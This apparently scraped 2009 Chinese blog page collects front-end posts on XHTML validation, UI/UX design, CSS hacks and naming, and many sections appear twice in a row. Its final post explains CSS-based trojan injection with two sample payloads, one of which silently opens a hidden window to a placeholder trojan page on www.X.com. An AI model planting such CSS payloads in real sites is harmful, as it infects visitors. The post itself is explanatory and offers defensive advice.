1、官方的检查机制有些问题。背景色与字体色相同的情况下会有错误提示。这是不合理的检测报错机制。
2、图片的 alt="" 属性必须每张图片都加上，而且对齐属性用CSS来定义。不加不能通过XHTML 1.0的验证。
3、每个文档必须加上DTD声明。
<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
去掉后能通过验证，但有警告：No DOCTYPE found! Checking with default XHTML 1.0 Transitional Document Type.
4、RSS的XML通过时其中的域名地址必须与检测的地址一致，否则会报错。
因为有两个域名在使用，所以代码中曾经用www.guanzhichina.com，实际页面是www.setcn.com，这样就出错了。
5、<a>标签的链接属性加上JAVASCRIPT事件时必须为#空链,不能为javascript:;或javascript:void(null);
6、在同一个页面当中，同名的ID会产生冲突。所以以ID定义样式的必须改成类引用。
<div id="a1">111</div>
<div id="a1">222</div>
如果不用W3C来检测的话，在CSS设计里是允许这样做的。
那是程序的角度不能相同，CSS上是可以相同的！
之前就是相同的产生问题，后面就改成类引用了！
7、不可省略双引号或单引号。
这个是指属性，标准是双引号~
单引号也能通过验证。
8、标签之间不可错位嵌套。
<div class="CaseDetaListSS">原文链接：<a href='/html/cases/cases_61.html'>798艺术区官方网站</div></a>
这是不允许的。
9、所有的标签都使用小写。
<div>ok
<DIV>NO，提示错误为：
Line 56, Column 16: there is no attribute "class"
<DIV class="CaseDetaListSS">原文链接：<a href='/html/cases/cases_61.html'>798艺术区
10、FLASH的标签代码中不能含有<embed>,必须采用其它的方法实现。
11、所有的标签中含有的属性必须有值（官方的说法）。
这里说的意思是，如果应用到某个属性，这个属性就比如赋予值，比如width="12",不能在标签中出现width=""
但是对于<img src="/UserFiles/cases/1225087801-jLThs.jpg" width="193" height="94" alt="" width=""/>一样能通过W3C的验证来说，又矛盾了。
12、标签必须配对完成,单标签必须以/关闭。
<br>no
<br />YES。并且<br/>也能通过，但不规范。
养成好的习惯吧，即使开始的时候有点难，还记得我们上小学的时候，都用田字格来写字，规范我们的习惯后，我们就可以离开田字格写出漂亮的文字了。
13、JS和CSS外部引入文件必须加上类型定义。
<script>CDFooter();</script> NO
<script type="text/javascript">CDFooter();</script> YES
我在做程序员的时候经常性的为了省事，写成：<script>CDFooter();</script> ，程序都没有任何问题，现在要我写规范，真不习惯。
14、所有的样式全部写在外部文件。用类名定义。在使用的地方引用。
这里说的是，最好这样做，大家看下面一段话：
<p>二、概念形成起源：<br />
从市场观察：DELL家用系列电脑市场中，以各类产品特色直接切入市场，少在品牌上单独着力。消费者对品牌的观感，多以听人怎么说、和网络上网友评价而来。<br />
从目标族群需求：若从口碑出发，此类意见领袖多为网络中重度以上用户，对网络的熟悉度高，我们规划并提供的内容，有两种最重要的切入点：娱乐性与功能性，至少需满足一项以上的需求，否则长期平台未来堪虑。<br />
从产品本身特性：DELL家用系列电脑其实是每一个前卫，时尚的家庭必备的时尚前卫元素。</p>
<img style="padding-right: 0px; padding-left: 0px; padding-bottom: 15px; padding-top: 15px" height="158" alt="" width="359" src="http://images.cnblogs.com/dell4.jpg" />
<p>三、策略与创意概念：Open Up the Magic Box!<br />
突出DELL家用电脑系列，以个性、前卫、时尚的特色围绕展开，提供一个长期一年一节的交流园地，激发人的展现自我的欲望，利用互联网互动交流的优势来吸引用户关注到参与，想要找寻前卫、时尚的家庭，就得来DELL炫舞家庭园地！通过图画和文字描述手段，进行个性、前卫，时尚的家庭生活展示，包括推出时尚家庭代言人顶帖炒作、DELL病毒传播、“DELL炫舞家庭代言人”主题活动、“DELL我的兄弟姐妹” 主题贺卡传情活动。<br />
</p>
这是一篇文章的内容，我们很难判断每篇文章的内容要用什么样式，因为有时需要用到特别的样式，我们也不可能每次都对特别的样式进行一个样式表的规范定义。估计W3C也考虑到了这一点，没有对这个问题做出严格的规定，但是我们尽量把通用的样式定义在外部文件中，这样便于维护。
15、页面上的一些特殊字符必须用HTML代码来标识.如“&”写成“&“ 。
这个是肯定的，毋庸置疑。
最后在这里推荐一下firefox上的firebug工具和web developer，它为通过页面验证提供了很多的帮助。
一篇比较实用的关于web标准的文章，是我以前搜集的!
2、图片的 alt="" 属性必须每张图片都加上，而且对齐属性用CSS来定义。不加不能通过XHTML 1.0的验证。
3、每个文档必须加上DTD声明。
<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
去掉后能通过验证，但有警告：No DOCTYPE found! Checking with default XHTML 1.0 Transitional Document Type.
4、RSS的XML通过时其中的域名地址必须与检测的地址一致，否则会报错。
因为有两个域名在使用，所以代码中曾经用www.guanzhichina.com，实际页面是www.setcn.com，这样就出错了。
5、<a>标签的链接属性加上JAVASCRIPT事件时必须为#空链,不能为javascript:;或javascript:void(null);
6、在同一个页面当中，同名的ID会产生冲突。所以以ID定义样式的必须改成类引用。
<div id="a1">111</div>
<div id="a1">222</div>
如果不用W3C来检测的话，在CSS设计里是允许这样做的。
那是程序的角度不能相同，CSS上是可以相同的！
之前就是相同的产生问题，后面就改成类引用了！
7、不可省略双引号或单引号。
这个是指属性，标准是双引号~
单引号也能通过验证。
8、标签之间不可错位嵌套。
<div class="CaseDetaListSS">原文链接：<a href='/html/cases/cases_61.html'>798艺术区官方网站</div></a>
这是不允许的。
9、所有的标签都使用小写。
<div>ok
<DIV>NO，提示错误为：
Line 56, Column 16: there is no attribute "class"
<DIV class="CaseDetaListSS">原文链接：<a href='/html/cases/cases_61.html'>798艺术区
10、FLASH的标签代码中不能含有<embed>,必须采用其它的方法实现。
11、所有的标签中含有的属性必须有值（官方的说法）。
这里说的意思是，如果应用到某个属性，这个属性就比如赋予值，比如width="12",不能在标签中出现width=""
但是对于<img src="/UserFiles/cases/1225087801-jLThs.jpg" width="193" height="94" alt="" width=""/>一样能通过W3C的验证来说，又矛盾了。
12、标签必须配对完成,单标签必须以/关闭。
<br>no
<br />YES。并且<br/>也能通过，但不规范。
养成好的习惯吧，即使开始的时候有点难，还记得我们上小学的时候，都用田字格来写字，规范我们的习惯后，我们就可以离开田字格写出漂亮的文字了。
13、JS和CSS外部引入文件必须加上类型定义。
<script>CDFooter();</script> NO
<script type="text/javascript">CDFooter();</script> YES
我在做程序员的时候经常性的为了省事，写成：<script>CDFooter();</script> ，程序都没有任何问题，现在要我写规范，真不习惯。
14、所有的样式全部写在外部文件。用类名定义。在使用的地方引用。
这里说的是，最好这样做，大家看下面一段话：
<p>二、概念形成起源：<br />
从市场观察：DELL家用系列电脑市场中，以各类产品特色直接切入市场，少在品牌上单独着力。消费者对品牌的观感，多以听人怎么说、和网络上网友评价而来。<br />
从目标族群需求：若从口碑出发，此类意见领袖多为网络中重度以上用户，对网络的熟悉度高，我们规划并提供的内容，有两种最重要的切入点：娱乐性与功能性，至少需满足一项以上的需求，否则长期平台未来堪虑。<br />
从产品本身特性：DELL家用系列电脑其实是每一个前卫，时尚的家庭必备的时尚前卫元素。</p>
<img style="padding-right: 0px; padding-left: 0px; padding-bottom: 15px; padding-top: 15px" height="158" alt="" width="359" src="http://images.cnblogs.com/dell4.jpg" />
<p>三、策略与创意概念：Open Up the Magic Box!<br />
突出DELL家用电脑系列，以个性、前卫、时尚的特色围绕展开，提供一个长期一年一节的交流园地，激发人的展现自我的欲望，利用互联网互动交流的优势来吸引用户关注到参与，想要找寻前卫、时尚的家庭，就得来DELL炫舞家庭园地！通过图画和文字描述手段，进行个性、前卫，时尚的家庭生活展示，包括推出时尚家庭代言人顶帖炒作、DELL病毒传播、“DELL炫舞家庭代言人”主题活动、“DELL我的兄弟姐妹” 主题贺卡传情活动。<br />
</p>
这是一篇文章的内容，我们很难判断每篇文章的内容要用什么样式，因为有时需要用到特别的样式，我们也不可能每次都对特别的样式进行一个样式表的规范定义。估计W3C也考虑到了这一点，没有对这个问题做出严格的规定，但是我们尽量把通用的样式定义在外部文件中，这样便于维护。
15、页面上的一些特殊字符必须用HTML代码来标识.如“&”写成“&“ 。
这个是肯定的，毋庸置疑。
最后在这里推荐一下firefox上的firebug工具和web developer，它为通过页面验证提供了很多的帮助。
一篇比较实用的关于web标准的文章，是我以前搜集的!
posted @ 2009-07-21 13:19 花生乐园 阅读(139) 评论(1) 编辑
我们经常会遇到视觉界面设计无法衡量好坏的问题，其实简单来总结一下，可以从以下6个大方面来判断：
一.视觉有否正确传达出产品/交互意图
视觉界面设计，不是单纯的图形设计，而是整个产品设计中的一个步骤，要在理解和遵循产品概念的基础上，
参照目标群体心理模型和交互意图进行视觉设计，并且视觉设计要达到用户愉悦的目的。
二.布局
用户所接触到的网站/产品的界面，是一个平面，我们通过信息结构组织，主次内容归纳和区分，通过布局，
给用户浏览阅读的线索。
*版面布局（栅格系统 网页浏览模式）
—-以规范的栅格系统部署的界面，信息呈现清晰易读；对前端开发更具规范与灵活性。
—-网页浏览模式如“F”型模式，等，能帮助了解用户浏览和关注度特征，用依据来做视觉设计。
*层次感
—-视觉界面设计犹如美妙的歌曲一样，需要节奏和韵律感，通过层次来营造。
*留白/间距
—-有助于减少用户的认知负荷，使界面富有呼吸透气感。同时增强界面层次的结构与划分，是界面精致度
体现的重要元素。
三.信噪比（SRN）
简易浅显来说，是视觉界面上有效信息与干扰信息之比。
信噪比越高，有效信息越突出。
四.风格
风格是通过一系列视觉元素表现出来的，能体现品牌和产品情感化感受的视觉语言。
同个网站/产品/界面的视觉风格要一致，可以通过视觉规范，DPL，淘斯基等来进行规范。
五.色彩运用
*色彩经济
—-在同个网站/产品/界面的视觉设计中，建议主色不超过3种，以保证颜色及其赋予的值能被有效识别和理解。
*色彩赋值
—-把色彩看成资源，严谨赋予他合适的值，并保证统一的运用。
六.字体设计
同一界面中的字体及样式不超过3种，赋予每种字体样式值。
字体的对比度要清晰，便于阅读。
以上是原文内容：
转摘这篇文章也是对UI设计的一些了解，使前端能更好的进行团队协作。
一.视觉有否正确传达出产品/交互意图
视觉界面设计，不是单纯的图形设计，而是整个产品设计中的一个步骤，要在理解和遵循产品概念的基础上，
参照目标群体心理模型和交互意图进行视觉设计，并且视觉设计要达到用户愉悦的目的。
二.布局
用户所接触到的网站/产品的界面，是一个平面，我们通过信息结构组织，主次内容归纳和区分，通过布局，
给用户浏览阅读的线索。
*版面布局（栅格系统 网页浏览模式）
—-以规范的栅格系统部署的界面，信息呈现清晰易读；对前端开发更具规范与灵活性。
—-网页浏览模式如“F”型模式，等，能帮助了解用户浏览和关注度特征，用依据来做视觉设计。
*层次感
—-视觉界面设计犹如美妙的歌曲一样，需要节奏和韵律感，通过层次来营造。
*留白/间距
—-有助于减少用户的认知负荷，使界面富有呼吸透气感。同时增强界面层次的结构与划分，是界面精致度
体现的重要元素。
三.信噪比（SRN）
简易浅显来说，是视觉界面上有效信息与干扰信息之比。
信噪比越高，有效信息越突出。
四.风格
风格是通过一系列视觉元素表现出来的，能体现品牌和产品情感化感受的视觉语言。
同个网站/产品/界面的视觉风格要一致，可以通过视觉规范，DPL，淘斯基等来进行规范。
五.色彩运用
*色彩经济
—-在同个网站/产品/界面的视觉设计中，建议主色不超过3种，以保证颜色及其赋予的值能被有效识别和理解。
*色彩赋值
—-把色彩看成资源，严谨赋予他合适的值，并保证统一的运用。
六.字体设计
同一界面中的字体及样式不超过3种，赋予每种字体样式值。
字体的对比度要清晰，便于阅读。
以上是原文内容：
转摘这篇文章也是对UI设计的一些了解，使前端能更好的进行团队协作。
posted @ 2009-07-21 13:14 花生乐园 阅读(58) 评论(0) 编辑
用户体验的一些内容：
1—logo：
基本logo特征，符合logo设计基础（平面设计通用）显示器效果：清晰度，最小尺寸（因显示器分辨率而带来的，等同线下平面设计的印刷效果）
2—文字：
内容等级决定字体、字号大小、粗细；状态决定颜色（默认或者根据网站特殊统一）
3—广告、内容图片：
尺寸样式的定位，同一页面的和谐性，图片的优化，位置的节奏，大小对比。
4—icon：
品牌性，表达准确合理，设计手法（依据品牌性），一致性，作用：吸引，醒目，方便识别、理解、操作、记忆。
5—可点击（button)：
区别（不可点击），根据人的生活经验：厚度，可按，质感（实体联想），色彩（品牌性、统一性、对比性）；统一的样式大小（依据里面文字的内边距统一）
6—背景图片：
氛围效果营造，同产品的统一性，优化（品质大小，色彩信息，实现方案），
7—图文排版：
主图次文，图文节奏，空隙，模块化。
8—当前状态：
放大（形状），变色（反色、对比色、明度纯度区别色），链进链出后指定内容提示。
9—交互控件：样式合理准确性（人对系统默认的认知和生活常规认知），状态（视觉表现样式和动作过程优化），创意。
10—loading：
内容关联性（loading前后的内容关联），无聊等待的乐趣，体积、面积优化，创意。
11—用户反馈_ 成功、出错、提示、无结果：
文案（明确、合理、人性化、创意），图形（明确、醒目、色彩的心理认知准确度）。
12—动画效果：
过程合理（模拟真实环境的合理化），连续，节奏感，用户日常动作表现，音效配合，创意。
13—首尾设计：
首（品牌宣传、自身特点、明确内容、气氛表达、创意。尾：呼应、节奏（与首），创意。
14—适应屏设计（全屏设计）：
最大最小屏幕的考虑（文字、图片的位置、折行效果）
15—固定尺寸的栅格设计：
合理的单元格（考虑黄金分割），单元格面积节奏，边距统一性
16—demo设计样稿：
对内容最多最少的考虑。
17—页面：
品牌性，基调元素一致性，复用性，节奏感、面积感，视觉第一吸引，引导浏览，点线面关系，素描原理（运用素描的基本规律来做页面）。
18—阅读：
背景对阅读（视力）的舒适度，内容与背景的对比舒适度。
其实还有很多设计的点比如交互设计，比如代码设计，我们可以展示给用户看到的这些综上所述，构成了用户体验设计的一个大过程，自己在做的很多时候其实也不是都能估计到每个点的，总结出来以帮助随时审视！
以上是原文：
转这篇文章的目的是：前端设计其实和用户体验有密切联系，前端设计是用户体验的实现者；所以我们做前端的有必要了解这方面的知识，或者说熟知。
1—logo：
基本logo特征，符合logo设计基础（平面设计通用）显示器效果：清晰度，最小尺寸（因显示器分辨率而带来的，等同线下平面设计的印刷效果）
2—文字：
内容等级决定字体、字号大小、粗细；状态决定颜色（默认或者根据网站特殊统一）
3—广告、内容图片：
尺寸样式的定位，同一页面的和谐性，图片的优化，位置的节奏，大小对比。
4—icon：
品牌性，表达准确合理，设计手法（依据品牌性），一致性，作用：吸引，醒目，方便识别、理解、操作、记忆。
5—可点击（button)：
区别（不可点击），根据人的生活经验：厚度，可按，质感（实体联想），色彩（品牌性、统一性、对比性）；统一的样式大小（依据里面文字的内边距统一）
6—背景图片：
氛围效果营造，同产品的统一性，优化（品质大小，色彩信息，实现方案），
7—图文排版：
主图次文，图文节奏，空隙，模块化。
8—当前状态：
放大（形状），变色（反色、对比色、明度纯度区别色），链进链出后指定内容提示。
9—交互控件：样式合理准确性（人对系统默认的认知和生活常规认知），状态（视觉表现样式和动作过程优化），创意。
10—loading：
内容关联性（loading前后的内容关联），无聊等待的乐趣，体积、面积优化，创意。
11—用户反馈_ 成功、出错、提示、无结果：
文案（明确、合理、人性化、创意），图形（明确、醒目、色彩的心理认知准确度）。
12—动画效果：
过程合理（模拟真实环境的合理化），连续，节奏感，用户日常动作表现，音效配合，创意。
13—首尾设计：
首（品牌宣传、自身特点、明确内容、气氛表达、创意。尾：呼应、节奏（与首），创意。
14—适应屏设计（全屏设计）：
最大最小屏幕的考虑（文字、图片的位置、折行效果）
15—固定尺寸的栅格设计：
合理的单元格（考虑黄金分割），单元格面积节奏，边距统一性
16—demo设计样稿：
对内容最多最少的考虑。
17—页面：
品牌性，基调元素一致性，复用性，节奏感、面积感，视觉第一吸引，引导浏览，点线面关系，素描原理（运用素描的基本规律来做页面）。
18—阅读：
背景对阅读（视力）的舒适度，内容与背景的对比舒适度。
其实还有很多设计的点比如交互设计，比如代码设计，我们可以展示给用户看到的这些综上所述，构成了用户体验设计的一个大过程，自己在做的很多时候其实也不是都能估计到每个点的，总结出来以帮助随时审视！
以上是原文：
转这篇文章的目的是：前端设计其实和用户体验有密切联系，前端设计是用户体验的实现者；所以我们做前端的有必要了解这方面的知识，或者说熟知。
posted @ 2009-07-21 13:06 花生乐园 阅读(34) 评论(0) 编辑
引入.clearfix这个css类，然后再相应的父标签中用class导入；
改方法兼容于FF、Opera和IE浏览器
.clearfix:after {
content: ".";
display: block;
height: 0;
clear: both;
visibility: hidden;
}
.clearfix {display: inline-block;} /* Hides from IE-mac \*/
* html .clearfix {height: 1%;}
.clearfix {display: block;} /* End hide from IE-mac */
content: ".";
display: block;
height: 0;
clear: both;
visibility: hidden;
}
.clearfix {display: inline-block;} /* Hides from IE-mac \*/
* html .clearfix {height: 1%;}
.clearfix {display: block;} /* End hide from IE-mac */
改方法兼容于FF、Opera和IE浏览器
posted @ 2009-07-21 12:59 花生乐园 阅读(27) 评论(0) 编辑
posted @ 2009-07-21 12:47 花生乐园 阅读(182) 评论(1) 编辑
当多个浮动的元素彼此跟随，中间加注释的时候，最后一个浮动元素内的文本偶尔会复制到最下面去。
学名Duplicate Characters Bug
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="//www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>多了一只猪</title>
</head>
<body>
<div style="width:400px">
<div style="float:left"></div>
<!--注释内容-->
<div style="float:right;width:400px">↓这就是多出来的那只猪</div>
</div>
</body>
</html>
解决方法
1、不放置注释。最简单、最快捷的解决方法
2、注释不要放置于2个浮动的区块之间。
3、将文字区块包含在新的<div></div>之间，如：<div style="float:right;width:400px"><div>↓这就是多出来的那只猪</div></div>。
4、去除文字区块的固定宽度，与3有相似之处。
5、有的人在猪后加一个<br />或者空格，但只是消除现象。
6、不要给浮动元素设置多宽度，使其不会到达包含元素的底部，或者对最后一个元素设置margin-right: -3px;或者更小。 7、注释可以这样写：<!--[if !IE]>Put your commentary in here...<![endif]-->
学名Duplicate Characters Bug
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="//www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>多了一只猪</title> </head> <body> <div style="width:400px"> <div style="float:left"></div> <!--注释内容--> <div style="float:right;width:400px">↓这就是多出来的那只猪</div> </div> </body> </html>解决方法
1、不放置注释。最简单、最快捷的解决方法
2、注释不要放置于2个浮动的区块之间。
3、将文字区块包含在新的<div></div>之间，如：<div style="float:right;width:400px"><div>↓这就是多出来的那只猪</div></div>。
4、去除文字区块的固定宽度，与3有相似之处。
5、有的人在猪后加一个<br />或者空格，但只是消除现象。
6、不要给浮动元素设置多宽度，使其不会到达包含元素的底部，或者对最后一个元素设置margin-right: -3px;或者更小。 7、注释可以这样写：<!--[if !IE]>Put your commentary in here...<![endif]-->
posted @ 2009-07-21 12:28 花生乐园 阅读(14) 评论(0) 编辑
CSS命名对于网页的开发管理的重要性往往被人忽略，很多初学者认为，css命名没什么，就是个名字而已，随便根据自己的意愿写就行了，因为它对于网页的表现没有任何影响。可是有过网页制作和网站管理经验的人都会知道，css的命名对于网站的清晰和日后的管理很重要，初学者应该从一开始就学习和尊重这些规范，形成良好的代码编写习惯，对于以后网站的建设、维护和改造有着至关重要的影响。下面是作者列出的一些css常用的规范性命名，这些名字已经成了网页设计规范，在网页设计中我们应该遵循这些规范性的名字。
一些css常用的规范性命名：
站点：site
首页：homepage
导航：nav
布局：layout
搜索：search
网页头部：head/header
二级页面/子页面：subpage
登录条：loginbar
侧栏：side/sidebar
广告：banner
子导航：subnav
当前位置导航：crumb
菜单：menu
子菜单：submenu
滚动：scroll
下拉：drop
表单：form
箭头：arr/arrow
下拉菜单：dropmenu
主题/外观：theme
页面主体：main
内容：content
标签页：tab
列表：list
工具条：tool/toolbar
转角/圆角：cor/corner
提示信息：msg
小技巧：tips
标题：title
特别的：spec
资源：source
加入：joinus
指南：guild
服务：service
热点：hot
新闻：news
下载：download
注册：regsiter
状态：status
按钮：btn
投票：vote
关于我们：aboutus
网站地图：sitemap
合作伙伴：partner
友情链接：friendlink
网页底部：foot/footer
版权：copyright
提交:submit
搜索框：searchbox
文本框:textbox
统计:count
以上结构就可以组合使用，例如：左列标题lefttitle；底部导航footernav
一些css常用的规范性命名：
站点：site
首页：homepage
导航：nav
布局：layout
搜索：search
网页头部：head/header
二级页面/子页面：subpage
登录条：loginbar
侧栏：side/sidebar
广告：banner
子导航：subnav
当前位置导航：crumb
菜单：menu
子菜单：submenu
滚动：scroll
下拉：drop
表单：form
箭头：arr/arrow
下拉菜单：dropmenu
主题/外观：theme
页面主体：main
内容：content
标签页：tab
列表：list
工具条：tool/toolbar
转角/圆角：cor/corner
提示信息：msg
小技巧：tips
标题：title
特别的：spec
资源：source
加入：joinus
指南：guild
服务：service
热点：hot
新闻：news
下载：download
注册：regsiter
状态：status
按钮：btn
投票：vote
关于我们：aboutus
网站地图：sitemap
合作伙伴：partner
友情链接：friendlink
网页底部：foot/footer
版权：copyright
提交:submit
搜索框：searchbox
文本框:textbox
统计:count
以上结构就可以组合使用，例如：左列标题lefttitle；底部导航footernav
posted @ 2009-07-21 12:21 花生乐园 阅读(39) 评论(0) 编辑
随着CSS网页布局应用的越来越广泛，Web标准逐渐普及，也创造了一个可乘之机。今天52CSS.com和大家讨论，预防CSS样式被挂网页木马。他们发现，用来实现页面的CSS，也可以用来挂马。而比较讽刺的是，CSS挂马方式其实是从防范IFRAME挂马的CSS代码演变而来。
网站挂马的手段最初非常单一，但是随着Web2.0技术以及Blog、Wiki等广泛的应用，挂马也涌现出各种各样的技术，其中CSS挂马方式，可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。
在我印象中，记忆最深刻的一次是百度空间CSS挂马。当时，百度空间推出没有多久，就有许多百度用户收到了类似“哈，节日快乐呀！热烈庆祝2008，心情好好，记住要想我!http://hi.baidu.com/XXXXX”的站内消息。
由于网址是百度空间的网址，许多用户认为不会存在安全问题，加上又有可能是自己朋友发来的，因此会毫不犹豫地点击进入。但是进入指定的网址后，用户就会感染蠕虫病毒，并继续传播。
由于蠕虫扩散非常严重，最终导致百度空间不得不发布官方声明提醒用户，并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能，通过变形的expression在CSS代码中动态执行脚本，让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。
我建议大家在点击陌生链接时，要多个心眼，大网站也是可能被挂马的。大家在上网时，最好还是使用一些带网页木马拦截功能的安全辅助工具。
为什么选择CSS挂马？
在Web1.0时代，使用IFRAME挂马对于黑客而言，与其说是为了更好地实现木马的隐藏，倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中，黑客可以利用的手段也非常有限，即使采取了复杂的伪装，也很容易被识破，还不如IFRAME来得直接和有效。
但如今交互式的Web2.0网站越来越多，允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中，往往会提供丰富的功能，并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改，这促使了CSS挂马流行。
小百科：CSS是层叠样式表(Cascading Style Sheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。
在利用CSS挂马时，往往是借着网民对某些大网站的信任，将CSS恶意代码挂到博客或者其他支持CSS的网页中，当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病，你非常信任医院，但是你所看的门诊却已经被庸医外包了下来，并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时，医院此时也往往一脸无辜。对于安全工程师而言，CSS挂马的排查是必备常识。
CSS挂马攻防实录
攻CSS挂马方式较多，但主流的方式是通过有漏洞的博客或者SNS社交网站系统，将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。
方式1：
Example Source Code [www.52css.com]
“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式，这段恶意代码主要是通过“background-image”配合JavaScript代码让网页木马悄悄地在用户的电脑中运行。
那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置，然后将该段恶意代码写入挂马网站的网页中，或者挂马网页所调用的CSS文件中。
小百科：使用Body对象元素，主要是为了让对象不再改变整个网页文档的内容，通过Body对象的控制，可以将内容或者效果控制在指定的大小内，如同使用DIV对象那样精确地设置大小。
方式2：
Example Source Code [www.52css.com]
方式1的CSS挂马技术，在运行时会出现空白的页面，影响网页访问者正常的访问，因此比较容易发现。不过在方式2中的这段代码，使用了JavaScript的Open开窗，通过新开一个隐藏的窗口，在后台悄悄地运行新窗口并激活访问网页溢出木马页面，不会影响访问者观看网页内容，因此更加隐蔽。
防网络服务器被挂马，通常会出现防病毒软件告警之类的信息。由于漏洞不断更新，挂马种类时刻都在变换，通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志，发现异常信息，经常检查网站代码，使用网页木马检测系统，进行排查。
目前除了使用以前的阻断弹出窗口防范CSS挂马之外，还可以在网页中设置CSS过滤，将CSS过滤掉。不过如果你选择过滤CSS的话，首先需要留意自己的相关网页是否有CSS的内容，因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示：
Example Source Code [www.52css.com]
将外域的木马代码的src重写成本地IE404错误页面的地址，这样，外域的JavaScript代码不会被下载。不过阻断方式也有天生致命的弱点。
网站挂马的手段最初非常单一，但是随着Web2.0技术以及Blog、Wiki等广泛的应用，挂马也涌现出各种各样的技术，其中CSS挂马方式，可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。
在我印象中，记忆最深刻的一次是百度空间CSS挂马。当时，百度空间推出没有多久，就有许多百度用户收到了类似“哈，节日快乐呀！热烈庆祝2008，心情好好，记住要想我!http://hi.baidu.com/XXXXX”的站内消息。
由于网址是百度空间的网址，许多用户认为不会存在安全问题，加上又有可能是自己朋友发来的，因此会毫不犹豫地点击进入。但是进入指定的网址后，用户就会感染蠕虫病毒，并继续传播。
由于蠕虫扩散非常严重，最终导致百度空间不得不发布官方声明提醒用户，并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能，通过变形的expression在CSS代码中动态执行脚本，让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。
我建议大家在点击陌生链接时，要多个心眼，大网站也是可能被挂马的。大家在上网时，最好还是使用一些带网页木马拦截功能的安全辅助工具。
为什么选择CSS挂马？
在Web1.0时代，使用IFRAME挂马对于黑客而言，与其说是为了更好地实现木马的隐藏，倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中，黑客可以利用的手段也非常有限，即使采取了复杂的伪装，也很容易被识破，还不如IFRAME来得直接和有效。
但如今交互式的Web2.0网站越来越多，允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中，往往会提供丰富的功能，并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改，这促使了CSS挂马流行。
小百科：CSS是层叠样式表(Cascading Style Sheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。
在利用CSS挂马时，往往是借着网民对某些大网站的信任，将CSS恶意代码挂到博客或者其他支持CSS的网页中，当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病，你非常信任医院，但是你所看的门诊却已经被庸医外包了下来，并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时，医院此时也往往一脸无辜。对于安全工程师而言，CSS挂马的排查是必备常识。
CSS挂马攻防实录
攻CSS挂马方式较多，但主流的方式是通过有漏洞的博客或者SNS社交网站系统，将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。
方式1：
Example Source Code [www.52css.com]
Body{
background-image: url('JavaScript:document.write("")')
}
background-image: url('JavaScript:document.write("")')
}
“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式，这段恶意代码主要是通过“background-image”配合JavaScript代码让网页木马悄悄地在用户的电脑中运行。
那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置，然后将该段恶意代码写入挂马网站的网页中，或者挂马网页所调用的CSS文件中。
小百科：使用Body对象元素，主要是为了让对象不再改变整个网页文档的内容，通过Body对象的控制，可以将内容或者效果控制在指定的大小内，如同使用DIV对象那样精确地设置大小。
方式2：
Example Source Code [www.52css.com]
Body{
background-image: url(JavaScript:open(' http://www.X.com/muma.htm '，'newwindow'，'height=0， width=0， top=1000， left=0， toolbar=no， menubar=no， scrollbars=no， resizable=no，location=no， status=no'))
}
background-image: url(JavaScript:open(' http://www.X.com/muma.htm '，'newwindow'，'height=0， width=0， top=1000， left=0， toolbar=no， menubar=no， scrollbars=no， resizable=no，location=no， status=no'))
}
方式1的CSS挂马技术，在运行时会出现空白的页面，影响网页访问者正常的访问，因此比较容易发现。不过在方式2中的这段代码，使用了JavaScript的Open开窗，通过新开一个隐藏的窗口，在后台悄悄地运行新窗口并激活访问网页溢出木马页面，不会影响访问者观看网页内容，因此更加隐蔽。
防网络服务器被挂马，通常会出现防病毒软件告警之类的信息。由于漏洞不断更新，挂马种类时刻都在变换，通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志，发现异常信息，经常检查网站代码，使用网页木马检测系统，进行排查。
